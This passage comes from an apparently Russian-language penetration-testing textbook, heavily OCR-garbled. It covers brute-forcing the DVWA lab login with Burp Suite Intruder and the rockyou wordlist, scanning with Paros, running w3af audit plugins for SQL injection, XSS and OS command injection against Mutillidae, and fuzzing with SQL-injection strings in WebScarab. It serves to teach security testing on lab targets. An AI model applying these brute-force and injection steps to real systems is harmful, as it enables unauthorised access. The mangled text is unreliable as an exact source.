noJielt My no3uiuit. JlJ1s MX OYMCTKY MeJIKHUTE KHOIIKON MBIIIN Ha 110JIe U TI03UIIHUH,
KOTOPYIO HY>KHO OYUCTUTD, U HaxkMUTe KHOITKY Clear (O4uCTUTD), PACIIOIOKEHHYIO
B TIpaBoii yacty okHa. Jlasee aTu moJist 6y/LyT 3aMEHEHbI TI0JIE3HBIMU HATPY3KaMH, KO-
TOPDBIE TOMOTYT OIPEEINUTD [T0JIb30BATEIbCKUE NMeHa U TIapPOJIN.

[Ipesx e yeM IPOLOJIKUTD, yOeauTech, 4To BhiOpan Tum aTaku Cluster bomb (Kaccer-
Hast 6oM0a) u nepeiizuTe Ha BKIaaKy Payloads (TTostestbie Harpysku) (puc. 10.19).
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[Target T Proxy TSpider TScanner IJM{ I Repeater TSEquencer T Decoder TCcmparer T Extender T

1 = 3\ bl .
Positions .WM%T Options ]

Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defing
types are available for each payload =et. and each payload type can be customized in different ways.

Target

Payload set: [l |!} Payload count: 0

Payload type: [Simple list l!] Request count: 0

Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste
(o]
:

[ Add ] |Enteranewjtem |

l | Add from list ... [Pro version only] A

Puc. 10.19. Bknagka Playloads (onesHbie Harpy3ku) oTkpbITa

Ecam meskHy Th KHOTIKOM MBIIIN B TIPABOM YaCTH PACKPBIBAIOIIErocs crircka Payload
set (Habop moJie3HbIX HATPY30K), Bl YBUANUTE KOJUUECTBO TIO3UIIHIT TTOJIE3HBIX Ha-
TPY30K.

Boibepure suavenve 1. Ono GyaeT COOTBETCTBOBATH TOJIO username. B packpoiBa-
fomeMcs crrcke Playload type (Tun mosiestoii Harpysku) BeiGepute Simple list (ITpocToit
criucok). Huske, B paszesne Payload Options (IlapameTpsl moJie3H01 HATPY3KW) BBEIUTE
B T10JIe BBOJIa UM TI0JIb30BaTEsA 1 HAKMUTE KHOTIKY Add ([lo6aBuTh). 10 mMst Gyer
HCTIOJIb30BATHCSI 3JI0YMBIIIJIEHHUKOM B KA4eCTBe UMEHH MOJIb3oBaTesst. MoKHO 106a-
BUTb HECKOJIBKO uMeH (puc. 10.20).

Temeps B 10sie BBo/a Payload set (Habop 1moJie3HbIX HATPY30K ) BBIGEPUTE TTOJIE3HYIO
HATPY3KY 2, OTBEYAIOIIYIO 34 TOJIe TapoJisi. BMecTo Toro yTo6bl BBOAUTH MOOUEPETHO
MMeHa MapoJiei, HaKMUTe KHOIKY Load (3arpysuTh) U 3arpy3uTe OJMH U3 Balux (aii-
JIoB Trapodieii (rockyou. txt, pacmososkertsiii B8 Kali o agpecy /usr/share/wordlist)
(puc. 10.21).

[Tocite TOro Kak Bce HACTPOMKH OYIyT BBIIIOJHEHbI, HAKMUTE KHOIKY Start attack
(Hauamno atakn).
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Payload Sets

You can define one or more payload sets. The number of payload sets depends on the
types are available for each payleoad set, and each payload type can be customized in

Payload set: [1 |UJ Payload count: 1

Payload type: [Simple list |UJ Request count: O

Payload Options [Simple list]

This paylead type lets you configure a simple list of strings that are used as payloads.

Paste admin
-

(s dam) |

| Add from list ... [Pro wersion only] hd :|

Puc. 10.20. Buibrpaem nonesHyto Harpysky

Target | Pesitions Fax_l_uads.,]' Opticns]

Payload Sets

You can define one or more payload sets. The number of payload sets depends on the|
types are available for each payload set. and each payload type can be custemized in

Payload set: [2 |'J Payload count: 14,344,396

Payload type: [Simple list |'] Reguest count: 14,344,396

Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

123456 A
12345 i

123456789 )
password

iloveyou >

princess

1234567
rockyou

12345678

ahr123

- ¥

[ Add ] |EntEra naw item

| Add from list ... [Pro version only] x|

Puc. 10.21. 1ns nogbopa napossi 3arpy»aemM Crmcok CrioB
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Ha puc. 10.22 B BusmuTe BRIAAKY ¢ pe3ysabraramu (Results). [7sinsg va atu pesyib-
TaThl, MbI BUJIUM, UTO BCE TIOMBITKU aTaku nosyunsu craryc (kox orseta HTTP) 302.
Bricrpsiii nonck B Google konos orseroB HTTP ykaseiaer, uro xkozx 302 — 510 mepe-
Hanpasienue. Ho nmepenanpasiienue kyaa?

Intruder attack 5§ = Ol x
Attack Save Celumns
| Results | Target Il'usitinns Mayloads | Options
Filter: Showing all items |
Reguest 4 [Payloadl | Payloadz Status [Errer [ Timeout |Length Comment
302 D 8 154
admin password a02 354

admin pasa123 307
admin 123456 307
admin Lelmein 307
admin querly 307

354
354
354
354

EEY RG]

ooooo
0oooo

AN i I
E Headers Ine.x I
NITTP/1.1 362 Tound i
Date: Sat, 02 Scp 2017 22:11:55 CHT
Server: Apache/2.2.8 {Ubuntu} DAV/Z
X-Powered-By: PHP/S.2.4-2ubuntub. 10
Expires: Thu, 19 Nov 1981 GB:52:00 GMT
Cache-Contral: no-slore, no-cache, must-revalidale, post-check=A, pre-check=8
Pragma: no-cache
Location: index.php
Content-Length: @
Connection: close
Content -Type: Lextfhiml
x
DEOEE b ] o

Ly ——o 8- = |

Puc. 10.22. Hayano ataku

Ecaiu MBI MeJIKHEM KHONKON MBIIIN Ha pe3yJbTaTe, a 3aTeM BhlOepeM BKIaLKy
Response (OTBeT), TO YBUJUM, YTO BCE 3alPOCHI ITePEHATIPABJISIIOTCS HA index. php.
IT10 admin: password. Tereps Mbl MOKeM TepeiiTut Ha cTpanuily Bxojga DVW A u mipejio-
CTaBUTH JIOCTYTI K caifTy. /i1 5TOr0 Ham moTpeGyeTcsl BBECTH YUETHBIE JaHHbIE.

Kpowme Toro, ncrnonb3yss nHCTpyMeHT Repeater (PeTpaHcasaTop), MbI MOKEM TIPO-
BepUTb 9TU Pe3ysibTaThl B Burp Suite. Perpancisitop npeanaznadyet sk pyq4HOTo U3-
Merernss HTTP-3anpocoB u JaHHBIX, OTIIPABASIEMBIX B 9THUX 3aMPOCaX.

Beprutech Ha BKJIajky Target (ITenb), BeiOepurte 17ist BX0OAa B login . php 3ampoc POST.
IT1o (hopma 3ammpoca, B KOTOPOIT OTIPABIISIETCST MMST TI0JIb30BaTest 1 napoJb. [lenrkauTe
[paBoOil KHOTIKOI MBIIIN Ha TO#l (hopMe 3ampoca 1 BeIGepuTe KoMaHIy Send to Repeater
(OTrpaBUTH B PETPAHCISTOP).

BriGepure BrIanky Repeater (Perpancisarop) (puc. 10.23).

[Tocsie password= ynamuTe HEBEPHBIN TAPOJIb 1 BBEJUTE TOT, KOTOPBIH TepeHarpa-
BUJI Bac Ha index.php. B aToMm ciyuae maposiem Gyger ciioBo password. Jlajiee HakMuTe
kHotky Go (Hauatb) (puc. 10.24).
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Target | Proxy [ spider | scanner | intruder TmT sequencer | Decoder | Comparer | Extender | Project eptions | User aptiens | lerts |

)

(oo ) (Ceancer) (<) (207

Requesl

Target: http://192.160.0.32 @

Response

By

B_EI Params | Headers | Hex

ST /dwwa/login.php HTTP/1.1

fost: 192.160.0.32

Mser-Agent: Mozillas5.0 (X11; Linux xB6_64; rv:52.0)
lGecko/20100101 Firefox/52.0

Becept:
[text/htal.application/xhtalvxml.application/xal:g=0.9.%/*:q=0.0
Wecept -Language: en-US, en;q=0.5

Referer: http://192.168.0.32/dvwa/Llogin.php

[Cookie: security=high:

HPSESS. 357094c4bd2ad: fi 21
[Cannection: close

Wpgrade-Insecure-Requests: 1

icache-Control: max-age=g

flentent Type: application/x www form urlencoded
[Lontent-Length: 49

fuser dmi i

d&Login=Login]

o) [isca) (=] [rvpe o search term

e

-
A4

| o etchest

e

-
4

0 matches

@@ E G frrem

Puc. 10.23. Bknaaka Repeater (PeTpaHcnsaTop)

| Go { cancel | [ <|r ] [ >Iv_} [ Follow redirection
Request

Farams | Headers | Hex

POST /dwwa/lagain. php HTTP/1.1

Host: 192.168.0.32

User-Agent: Mozillass.0 (X11; Linux x86_b4; rv:52.0)
Gecka/20180101 Firetox/52.0

Arcept:

text/html, application/xhtml+xnl, application/xnl;q=0.9, %/ *;q-0. 8
Accept-Language: en-US,en:qef.5

Referer: hitp://192.168.0.32/dvwa/login. php

Cookie: security=high;
PHPSISSTN=615TA4c46d2ad 6naGe AT R6R4-D042]
Connection: close

Upgrade- Lnsecure-Requests: 1

Cache-Control: max-nge=0

Content-Type: application/x-www-Form-urlencoded
Content-Length: 44

usernane=adninbpassword=passwordblogin=Login

L

Target: http://192.168.0.32 [{] B]

Response

@ Headers IHﬂ(

HTTP/1.1 182 Found

Date: Sat, 92 Sep 2017 22:30:89 GMT

Server: Apache/2.2.8 (Ubuntu) DAV/2

X-Powered-Ay: PHP/5.2.4-Fubuntu5.18

Expires: Thu, 10 Mov 1981 0B:52:80 GHT
Cache-Control: no-store, no-cache, must-revalidate,
post-checksf, pre-checks=g

-cache

e

Cantent-Length: 8
Connectien: close
Content-Type: text/html

Puc. 10.24. KHonka Go (HauaTb) HaxaTa

Ha manesnn Response (OTBeThbI) MbI BUIUM CTPOKY Location (Pacriosniokenue) co 3na-
yeHueM index.pHp. /lasmee HaXXMUTE PacloOKEHHYIO B BEPXHEH YaCcTH OKHA KHOTIKY
Follow redirection (ITepeaapecaiiys). DTo IpUBEAET K co3AanuIo HeobpaboTannoro HTML.
Ha Bxianke Render (IIpemoctaBuTh) BBl YBUINTE, KaK A0JSKHA BBITJSIETh CTPAHHUIIA

(puc. 10.25).



Be6-aHanus 309

larget: http://192.165.0.32 @ E]
Response
[Rﬂw lend:m Tllex TI"ML Tﬂ.er)dgr]
| A
= lm stored | Damn vulnerable web App is damn vulnerable! Do not upload it to your hosting providers public -
« \DVWA securi  html folder or any internet facing web server as it will be compromised. We recommend
ST downloading and installing XAMPP onto a local machine inside your LAN which is used solely for
. !PIIP Info | Lesling.
+ togout Disclaimer
We do not take responsibility for the way in which any one uses this application. We have made the
purpnses of the application clear and it should not be used malicinusly. We have given warnings
and taken measures Lo prevent users lrom installing DVWA on Lo live web servers. If your web
server is compromised via an installation of DVWA it is not our responsibility it is the responsibility 9
of the personfs who uploaded and installed it.
General Instructions
The help bulton allows you Lo view hitsftips for each vulnerability and for each security level on
their respective page.
You have logged in as *admin’
-
v
EAN J T
4,805 bytes | 28 millis

Puc. 10.25. Bknaaka Render (MpenoctaBnTb)

B aToM mipuMepe MBI UCITOIB30BAJIN HECKOJIBKO MHCTPYMEHTOB, KOTOPbIE BXOJSAT
B coctaB Burp Suite. IToT HaGOp HHCTPYMEHTOB GE30MACHOCTH TIPUIIOKEHIH THTIA «BCE
B OZHOM» SIBJISIETCSI MOILIHOII I1aTOPMOI 1151 aTaKu BeO-IIPUIOKEHUIA.

Moapo6Hoe n3yueHne Burp Suite BbIXOAUT 3@ PaMKV AAHHOW KHUTW. [103TOMY Mbl
HACTOSITENbHO PEKOMEHAYEM BaM MOCETUTL calT http://www.portswigger.net,
4TO6bI PacCMOTPETL APYrue NpuMepsbl.

MNpokcu-cepsep Paros

Ipoxcu-cepsep Paros — 270 10JE3HBII 1 OYeHb MOIIHBII MHCTPYMEHT OLIEHKU YS3BU-
MocTeil. OH OXBaThIBAeT BECh CAlT M MOKET BBITIOJHATH pa3andHble TecThl. HacTpous
JIOKAJIBHBIN MTPOKCU-CEPBEP MEKLY Opay3epOM U 3arpysKEHHBIM B HETO 1EJIEBBIM TTPH-
JIOJKEHVIEM, Ay/TUTOP C MTOMOIIIBIO HTOTO MHCTPYMEHTA MOKET TIePEXBATHIBATH BeO-Tpaduk
(HTTP/HTTPS). [lannublii MEXaHU3M ITOMOTAET NCIBITATETIO HA TPOHUKHOBEHNE N3Me-
HATb OIIPe/leJIeHHbIe 3aIIPOCHI, HallpaBJIeHHbIE B IleJIeBoe ITPUJIOKEeHNe, NI MaHUITYJI1-
POBATh UMH C IIeJIBI0 PYYHOIT TPOBEPKU MPUIIOKeHMs . TakiM 06pasoM, pOKCH-CepBep
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Paros jieiicTByeT Kak aKTHBHBIN VU TIACCHBHBII MHCTPYMEHT OICHKN Ge30MacHOCTH
BEO-TIPHIIOKEHUIL.

Jluist 3amycka npokcu-cepsepa Paros BoibepuTe KOMaHy OCHOBHOTO MeHIO Applica-
tions » Web Application Analysis » paros (IIpuiosxkeHus » AHajus BeO-IPUIOKEHHIT b Paros)
WJTV BBEJIMTE B KOMAH/IHYIO CTPOKY TEPMUHAJIA CIEAYIONIYI0 KOMAHILY:

# paros

[Tocsie BbITIOJIHEHUS TAHHOW KOMAaH/Ibl HA AKPaHe MOSBUTCS OKHO MPOKCH-cepBepa
Paros. Tlepe/ BbITIOJHEHHEM KaKUX-TH00 PAKTHYECKUX YIIPa)KHEHUH B BalleM J00H-
MoM Gpaysepe HeoOX0ANMO HACTPOUTH JIOKaIbHbIH mpoken (127.0.0.1, 8080).

Eci BaM HY)KHO U3MEHUTH KaKue-Jn0O0 HACTPOWKH, 3aJlaHHbIe 110 YMOJYAHUIO,
B CTPOKe MeHI0 BbiOepuTe KoMaH Iy Tools » Options (MuctpymenTst » TTapameTpsr).
B OTKPBIBHIEMCA OKHE Bbl CMOJKETE M3MEHUTD IMapaMETPhbl MOAKIIOYEHNA, SHAYCHUA
JIOKQJILHOTO TIPOKCU-cepBepa, ayrenTudukammio HTTP u npyrue macrpoitku. Ilocie
HACTpPOKK Gpaysepa IMOCETUTE IeJIeBOIi CaliT.

PaCCMOTpI/IM mary s TeCTUPOBAHUA YA3BUMOCTU U ITOJIYIECHUSA OTYETA.

1. B namewm cirydyae Mbl TPOCMATPUBAEM CaliT 1o azgpecy http://192.168.0.30/mutillidae.
OG6pature BHUMaHKE, 4YTO OH OTKpOeTcst Ha BKaajke Sites (CaiiTbl) IpoOKCcH-cepBepa
Paros.

2. IlenxHuTe NpaBoil KHOIIKO MBI Ha ajgpece http://192.168.0.30/mutillidae 1 g5 06-
X0/Ia BCero caiita BeIOepuTe BKIAAKY Spider. B 3aBucrMOCTH OT pasMepa caiita BpeMst
ero 00X0j1a 3aiiMeT OT HECKOJIBKUX CEKYH/[ /10 HECKOJIBKUX MUHYT.

3. TlocJie 3aBepiieHus 06X0/1a caiiTa B HUKHEN YacTh BKJIAAKU Spider BbI YBUUTE CITH-
COK BCexX 0OHAPY/KEHHBIX cTpaHuIl. KpoMe TOTo, MOKHO OTCJIECIUTD 3aMPoc, OTIPaB-
JICHHBIH T1eJIEBOI CTPAHWIIE, ¥ OTBET, OTIIPABIEHHBIN 10 3TOMY 3arpocy. /1t aToro Ha
JieBOW manesn BKJITaaku Sites (CaiiThl) cireyer BEIOPATh 1eIeBOil caiiT U KOHKPETHYIO
CTPAHUILY.

4. YT00BI TIEPEXBATUTH JIFOOBIE AaTbHEHTIINE 3aAITPOCHI M OTBETHI, IEPEHINTE Ha BKIAAKY
Trap (JIoByIKa), KOTOpasi HAXOAUTCS Ha TIPABON TTaHE . DTO MOKET ObITh TTOJIC3HBIM,
KOT/Ia JIJIST TECTUPOBAHMSI TPUJIOKEHNUST BBl PEIIJIN BHIOpaTh PyuHbie TecThl. Kpome
TOTO, BBI MOsKeTe co3ath cobcrBerbiit HTTP-3ampoc. 1Jist 9T0ro BhIGEpHUTE KOMaH/LY
MeHTo Tools » Manual Request Editor (ucTpy™MeHTSHI P PydHOIT perakTop 3ampocos).

5. YT00BI BHIMOJHUTH aBTOMATHIECKOE TECTUPOBAHUE YS3BIMOCTEH, CIIeyeT BHIOPaTh
Ha BRJazKe Sites (CaifTel) 11€71€BOM callT U TIePeNTH K MeHIo Analyze » Scan All from
the menu (Ananus » Ckanuposanue Bcex). O6parure BHUMaHUE: YTOOBI BEIOPATh
orpejieJIeHHbIE THUIIBI TeCTOB GE30MaCHOCTH, HYKHO TepeiiTut K Analyze » Scan Policy
(Ananus » [lomrTuka ckannpoBanus), a 3aTeM BMecTo Scan All (CxanupoBath Bce)
BbIOpaTh Analyze » Scan (Ananus » CkanupoBaHue).

6. Tlocsie 3aBepiieHNsT TECTUPOBAHUS YSI3BUMOCTEN B HIUKHEH 4acTh BKJIaAKK Alerts
(TIpemynpeskaeHnst) Bbl YBUIUTE HECKOJIBKO TIPeAyIpeskaeHIil besonmacHocT. OHU
paccopTUPOBaHbI IO CJEAYONUM yPOoBHAM pucka: High (Beicoknit), Medium (Cpen-
Huit) u Low (Huskmit).
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7. Ecam BbI XOTHTE TIOTYYHUTH OTYET CKAHMPOBAHMS, BLIGEPHUTE B CTPOKE MEHIO KOMAH/TY
Report » Last Scan Report (Otuet » [locsiennuii otTuet ckannpoBanus ). Byner cosnan o1-
yer (puc. 10.26), B KOTOPOM IIpOrpaMmMa IEPEYCIUT BCe YI3BUMOCTH, OOHAPYKeHHbIE
BO BpeMs ceaHca TeCTUPOBaHu: /root/paros/session/LatestScannedReport.html.

Paros Scanning Report - lceweasel CCNC)
(€] & flelirootLatestSeannedReport him v | [ search jewio ¢+ &=
Bl Most visited v [llOffansive Secunty S Kali Linux ", Kali Docs ", Kali Toals ElExpiait-08 W Aircrackeng
Paros Scanning Report ﬂ

Report generated at Wed, 6 Apr 2016 22:02:44.
Summary ol Alerts

Mumber of Aleiks

2
L
1
(]

Lo

itormationad

Alert Detail

High (Suspicians) SQL Injection Fingerprinling
Descriplion L infection miy be possible

Puc. 10.26. OTyeT, COCTaBEHHbIV MO pe3yNbTaTaM CKaHUPOBAHWS

MBI B 5TOM TIPUMEPE UCTIOIB30BAI GA30BbII TECT OIIEHKHU YSI3BUMOCTH.

YT06bl 03HAKOMUTLCS C Pa3/IMYHbIMK MapaMeTpamu, NpeanaraeMbiMy NPOKCH-
cepBepoM Paros, pekoMeHayeM 06paTUTLCS K PyKOBOACTBY MOJIb30BaTENS:
http://www.ipi.com/Training/SecTesting/paros_user_guide.pdf.

W3AF

W3AF — MHOTODYHKIIHOHATIbHAS MTATGOPMA TSI ay/IUTa BEG-TTPUTOKEHUH U aTaKy Ha
Hux. [IpesHasnauena Taxkske st OOHAPYKEHUST U UCTIONb30BAHUS ysI3BUMOCTel B VH-
TepHeTe. Bech mporiece oreHkn 6e30macHOCTH TIPUITOKEHUE ABTOMATU3UPOBAH 1 COCTOUT
U3 TPEX OCHOBHBIX IMAr0B: 0GHAPYKEHUS, ayAnTa U aTaku. [[Js1 KayKI0To 13 9TUX IIaroB
MIPELYCMOTPEHO HECKOIBKO MJIATHHOB, KOTOPBIE IOMOTYT ayIUTOPY COCPEIOTOUUTHCS
Ha KOHKPETHBIX KPUTEPHSIX TeCTUPOBaHst. [[Js1 ToCTHREeH S TpeOYEeMOil 11eu Bee aTH
MIATWHBI MOTYT OOIATHCS U 0OMEHMBATHCST TECTOBBIMU MaHHbiMU. W 3AF moziepskiBaet
obHapy KeHUe U UCTIOTb30BAHUE HECKOJIBKUX YSI3BUMOCTEH BEO-TIPIIIOKEHUT, BRITIOUYAsT
SQL-unbekImn, MesKcaliTOBbIE CIIEHAPUH, Y/IaJIEHHOE U JIOKAJbHOE BKIIOUeHne (aiijios,
nepenoJHenne 6ydepa, nabeknun XPath, ynpasnerane OC u HenpaBubHyio KoHbU-
TypaIuio TPUI0KEeHNT.

YT06bI NONY4MTL BONEe NOAPOGHYHO MHGOPMaLMIO O KaXkaoM AOCTYMHOM Mnarv-
He, nepeiauTe no aapecy http://w3af.sourceforge.net/plugin-descriptions.php.
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Yro6s! 3anyctuth W3AF, BbiGeprTe KOMaHLy OCHOBHOTO MeHIo Applications » Web
Vulnerability Analysis » w3af (IIpuioxkenus » Anaius Be6-ysassuMocTeil » w3af) uim se-
JIUTe B KOMAHHYIO CTPOKY TEPMUHAJIA CJIeYIOIIee:

# w3af_console
[Tporpamma OyzeT 3aiyiieHa B epCOHANTU3UPOBAHHOM pesknme Korcoan W3AF
(w3af>>>). O6paruTe BHUMAHIE, 4TO CYIIECTBYET BEPCUST TPOTPAMMBI ¢ TPahUIECKUM

unTepdeiicom. Mbl penimin pecTaBUTh BAM KOHCOJIBHYIO BEPCUIO U3-3a THOKOCTH e
HACTPOEK:

w3af>>> help

ITocJie BHITIOTHEHUST 9TON KOMaH/bl OyAyT 0TOOPakeHbI BCE OCHOBHbBIE TTapaMe-
TPBI, KOTOPBIE MOKHO MCTIOTb30BaTh /JIsT HACTPOUKU TecTa. Bbl MoskeTe BBITTOJIHUTH
KOMaHZy help, eciu BaM HY’KHa TTOMOIIb 110 KOHKPETHOMY BapuaHTy. B Hamem
VIIPaKHEHUU Mbl HACTPOUM ILJIAaTMH BBIBOJA, BKJIIOYMM BbIOPAHHbBIE TECTHI ayIUTa,
HACTPOWM TIeJTb U BBITTOJHUM TIPOTIECC CKAHWPOBAHUS Ha T[€JIEBOM CalTe, NCTIOJTb3Y ST
cJaeyIolme KOMaH/Ibl:
w3af>>> plugins;
w3af/plugins>>> help;
w3af/plugins>>> output;
w3af/plugins>>> output console, html_file;
w3af/plugins>>> output confightml_file;
w3af/plugins/output/config:html_file>>> help;
w3af/plugins/output/config:html_file>>> view;
w3af/plugins/output/config:html _file>>> set verbose True;
w3af/plugins/output/config:html_file>>> set output_file metasploitable.html;
w3af/plugins/output/config:html_file>>> back;
w3af/plugins>>> output config console;
w3af/plugins/output/config:console>>> help;
w3af/plugins/output/config:console>>> view;
w3af/plugins/output/config:console>>> set verbose False;
w3af/plugins/output/config:console>>> back;
w3af/plugins>>> audit;
w3af/plugins>>> audit htaccess_methods, os_commanding, sqli, xss;
w3af/plugins>>> back;

w3af>>> target;

Iy Iy Iy Iy Sy Ay ) Ry Ny

w3af/config:target>>> help;
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w3af/config:target>>> view;

w3af/config:target>>> set target;
http://http://192.168.0.30/mutillidae/index.php?page=1ogin.php;
w3af/config:target>>> back;

w3af>>>.

Ha Z[&HHbIﬁ MOMEHT MbI HACTPOUJIN /IJI1 BBITTIOJTHEHWA TECTA BCE H€O6XOI[I/IMI)I€ Tmapa-

MeTPbI. AHAJIN3 TIETIEBOU CHCTEMBbI TIPOBEIEM C TIOMOIIBIO SQ L-MHBEKITUH, MEKCANTOBBIX
cIleHapueB, KOMaH/[ ONEPAMOHHON CUCTEMBI U HENTPAaBUJIBHON KOHbUTyparuu daiira
htaccess (puc. 10.27). Tecr OyzeT sarnyieH ceayromieil KoMaH/OI:

w3af>>> start

% " Cross site scripting vulnerability MEDIUM

Summary

A Cross Site Seripting vulnerability was found at: "http://192,168.0.30/mutillidae/index.php/, using HTTP method GET.
The sent data was: "page="The modified parameter was "page". This vulnerabllity was found In the request with Id 37.

Descriplion

Clienl-side scripls are used exlensively by modern web applicalions, They perform lrom simple funclions {(such as the
formatting of text) up to full manipulation of client side data and Operating System interaction.

Cross Site Seripting (XS8) allows clients to injeot arbitrary seripting cede into a request and have the server return the
seript ta the elient in the response. This necurs because the application is taking untrusted data (in this example, fram the
client) and reusing it without performing any validation or encoding.

® Vulnerable URL: hitp:/f192.168.0.30/mutillidae/index.php/
® Vulnerable Farameter: page

Puc. 10.27. Ys3BMMOCTM CLIEHapWeB caiiTa

Kaxk BbI MOKeTe BUIETDH, MbI O6Hapy}KI/UH/I YA3BUMOCTU MEeKCAiTOBOTO BBITTOJTHEHUST

crienapues B BeO-nipunoskennu. [logpoOubiii oTyer takske cospaercs B popmare HTML
U OTIPaBJIsieTCsl B root-manky. B aToM oTdere moapoOHO ONKCaHbl BCE YSI3BUMOCTH,
a Tak’Ke ecThb OTJIaJ0YHast NHGOPMAITUS 0 KayKJOM 3aIIpoce M OTBETHbIE JIAHHbIE, Tlepe-
naBaembie Meskiy W3AF U 1iesieBbIM BEO-ITPUIOKEHITEM.

TecToBbIV NpUMEP He AaeT UHOPMaLMK 06 UCTMONb30BaHNM APYTUX MONE3HbIX
nnarvHoB, Npoduel 1 NapaMeTpPoB 3KCIJIONTa, MO3TOMY Mbl HACTOSITENIbHO
pPeKoMeHAyeM BaM BbIMOSIHUTb HECKOJTIbKO ynpa>|<HeHvu7|, OMNUCaHHbIX B PYKO-
BOACTBE nonb3oBaTens. OHM AoCTynHbI No aapecy http://w3af.sourceforge.net/
documentation/user/w3afUsersGuide.pdf.
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WebScarab

WebScarab — MOLIHBIA HHCTPYMEHT JJIsI OLIEHKK 6€301acHOCTH BeO-NpUIoKeHni. B Hem
MIPEYCMOTPEHO HECKOJIBKO PEKUMOB PAGOTHI, HO B OCHOBHOM OH JIEHCTBYET Yepes repe-
XBaT MPOKCH. DTOT MPOKCU-CEPBEP HAXOIUTCS MEXK/LY Opay3epoM KOHEUHOTO I0JIb30Ba-
TeJISA U 1eJIEBBIM BeO-TTPUIIOKEHNEM /ISt MOHUTOPHHTA U MI3MEHEH U 3alIPOCOB M OTBETOB,
nepeaaBaeMbIX ¢ 06enx cTopoH. Takoil porece MO3BOJISIET AyAUTOPY BPYUHYI0 00paboTaTh
BPEIOHOCHBIN 3aMPOC ¥ YBUETH OTBET, OTIPaBJIeHHbII BebO-mipusiokenneM. WebScarab
BKJIIOYAET HECKOJIbKO MHTETPUPOBAHHBIX MHCTPYMEHTOB, TAKUX KaK 3aTyMaHUBATEJb,
aHaJIM3aToOp UAEHTU(hUKATOPA ceccrn, TTayk (spider), ananmsaTop Be6-CepBUCOB, CKaHep
atak MeskcaiitoBbix ciienapueB u CRLF-ckanep ysi3BUMOCTeld, a TaKyKe TPAHCKOJIED.
Yro6s1 3anyctuth WebScarab lite, BoimosiHuTe KOMaHLy OCHOBHOIO MeHIO Appli-
cations » Web Application Analysis » webscarab (IIpunoxenus » Ananus BeO-puioxe-
HUll » webscarab) niu BBeMTe B KOMAHAIHYIO CTPOKY TEPMUHAJIA TAKYIO KOMAH/LY:

# webscarab

Byzer 3anyena oberdyeHnas Bepcust nmporpaMmbl. Ham ske i ipumMepa norpe-
GyeTcst TOMHOGMYHKITMOHATBHAS Bepcust. [/ 9TOTo HY;KHO BBIOPATh B MEHIO KOMAH/LY
Tools » Use full-featured interface (MucTpyMenTHI » M cmomb30BaTh TOTHODYHKITHOHATBHBIIA
unrepdeiic). [TorpebyeTcst TOATBEPAUTH BHIOPAHHDBIE HACTPOIKH U TIEPE3AITYCTUTD IPO-
rpamMmmy.

IMocre mepesamycka mpunoxenus WebScarab ma axpatie mossBUTCST HECKOTBKO
BKJIQJIOK ¢ MHCTpyMeHTamu. [Ipeskie yem HayaTh ynpaxHeHue, HaM HY>KHO HACTPOUTD
Opaysep Ha sokanbHbIi pokcu (127.0.0.1, 8008), uTob6bl cBsI3b Gpaysepa ¥ LEJIE€BOro
TPUIOKeHUs TTa yepe3 mpokcu WebScarab. JI71s1 n3MeHeHnsT HACTPOEK JTOKATH-
Horo npokcu-cepsepa (IP-azpeca nnu nopra) Beibepure BKJIaJAKy Proxy » Listeners
(ITpoxcu » [IpocaymmBartenn). BoITOTHUB cieaytonie Maru, MOKHO TTPOaHATTU3UPO-
BaTh NAECHTI(UKATOP CEaHCa I[eJIeBOTO PHUJIOKEHMS.

1. Tlociie HACTPOUKH JIOKATBHOTO TIPOKCH-CEPBEPA HEOOXONMO MIEPEITH K I[EJIEBOMY Cali-
Ty (Harpumep, http://192.168.0.30/mutillidae) 1 3aiiTi Ha HETO MO KaK MOKHO GOJIbIIEMY
KOJIMIECTBY CCHIIOK. ITO YBETUUUT BEPOSITHOCTD OOHAPYKEHST TTOOBIX M3BECTHHIX
U HEM3BECTHBIX ysa3BuMocTell. Kpome Toro, BbI MOsKeTe BHIOPATD IeJI€BON caliT Ha
Brsagke Summary (CBojKa), HIEJIKHYTh NPAaBOH KHOIIKON MbIIIKM U BBIOPATh JePeBo
Spider (ITayk). ITO MO3BOJUT MOJIYYUTD BCE IOCTYITHBIE B 11€JI€BOM MPUIOKEHUN
CCBIJIKH.

2. Ecsim BBI XOTHTE MMPOKOHTPOJIMPOBATH JIAHHBIE 3A1TPOCA W OTBETA JIJIsI KOHKPETHOM
CTPAHUIIBI, KOTOPast ObLITA YIOMSIHYTa B HUKHEH JacTn BRIk Summary (CBozka),
JIBaKJIBI IIEJIKHUTE KHOIIKOM MBIIIIN Ha MHTepecyioniell Bac ceouike. Ha akpane 1o-
SIBUTCS aHAJIM3UPYEMBbIii 3arrpoc B (popmate Tabiuibl 1 B HeoGpaboTaHHOM opMmare.
OrtBer Takske MOKHO 11pocMoTperb B HTML-, XML-, TeKcTOBOM U IiecTHaAIIaTePUY-
HOM hopmarax.
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3. B Teuenue TecToBOTO NIEproia Mbl MozKeM ¢ rtoMotnbio Metogia GET nepeiitut k ofHOM
U3 CCBUIOK U TPUMEHUTH K Hell HHCTPYMEHT fuzz ¢ IrapaMeTpoM, HaripuMep, artist=1.
Ecim 110 910ii CCBLIKE CYIIECTBYET XOTh OJHA HEOIIO3HAHHAsI YSA3BIUMOCTb, OHa Oyaer
BbIsiBJIeHa. [[JIs1 9TOrO IEJIKHUTE IIPAaBOil KHOIIKOM MBIIIN Ha CChLIKE U BbiOepuTe
B NOSBUBIIEMCS MeHI0 KoMaHay Use as fuzz template (Mciiosib3oBaTh Kak mabiioH
fuzz). Janee nepeiigure Ha BKAaAKY Fuzzer 1 Bpy4HYIO IIPUMEHUTE HEOOXOUMbIE
3HaueHMs K mapaMerpy. s atoro Haxmute KHOIKY Add ([lo6aBuTh) psigoM ¢ pas-
nesom Parameters (ITapameTpsr).

Jluist mpuMepa Mbl Harucaan HeGOJIbINO TeKCTOBbIH (aiisl ¢ mepedncieHneM us-
BECTHBIX IaHHbIX SQL-unbekiuii (Harpumep, 1 n 1=2, 1 u 1=1 1 oJJuHapHad Ka-
BblYKa (')) U IIPeJOCTaBUJIM €ro B KauecTBe UCTOUHUKA /Il 3HaYeHUs l1apaMeTpa
fuzzing. ITO MOXKHO ClleIaTh, HAXKaB PACIIOJIOKEHHYIO Ha BKJIA/Ke Fuzzer KHOIIKY
Sources (M crounnuk). Kax Tombko Banm fuzz-mammsie GyIyT TOTOBDI, HAKMUTE KHOTI-
